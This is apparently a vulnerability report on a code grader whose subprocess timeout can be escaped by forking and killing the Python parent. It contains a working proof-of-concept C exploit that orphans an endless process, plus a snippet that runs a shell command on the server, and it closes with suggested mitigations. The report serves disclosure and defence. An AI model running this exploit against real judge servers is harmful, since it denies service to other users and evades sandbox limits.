Vulnerability description

In grader.py, the user code is ran with a timeout of 5 seconds:

result = subprocess.run(['./main'], input=test_input.encode(), capture_output=True, timeout=5, check=True)

However, in *NIX systems, if a process kills its parent, it'll become orphaned, and will be adopted by the init system (systemd, openrc, ...). In that case, the timeout becomes meaningless (as Python, now dead, can no longer kill its child), and the program keeps running forever.

If the program, after killing its parent, started running a stress test, it'd be detrimental for server performance, and the server could be unable to accept requests from other users.

Example code

The following example uses the helloworld problem to run the exploit, but any other problem would be suitable for doing so:

#include <stdio.h>
#include <stdlib.h>

#include <signal.h>
#include <unistd.h>

void helloworld() {
	/*
	 * Fork before killing the parent. If the parent (Python?) were
	 * directly killed, the front-end reports an Internet connection error,
	 * and nothing is actually run.
	 */
	pid_t fork_result = fork();
	if (fork_result == 0) {
		/* Child process kills the parent and gets orphaned. */
		pid_t parent = getppid();
		kill(parent, SIGKILL);

		/*
		 * Insert stress test here. This examples only writes to
		 * /tmp/exploit periodically, to show that the process can keep
		 * running forever.
	     	 */
		for (int i = 0;; ++i) {
			FILE *f = fopen("/tmp/exploit", "w");
			fprintf(f, "%d\n", i);
			fclose(f);
			sleep(5);
		}
	}
}

In this example, to assert that the process is running forever, the following code can be submitted:

#include <stdlib.h>

void helloworld() {
	system("cat /tmp/exploit"); /* Simpler than reading a file in C :-) */
}

The number of 5 second intervals since the program started running will be shown as a wrong answer.

Mitigations

There are likely easier ways to stop a process from killing its parent, but here are the ones that come to mind:

• Using secccomp BPF, to filter the syscalls that a process can use;

• Using ptrace to intercept (and, in this case, block), certain syscalls, as is done in this article.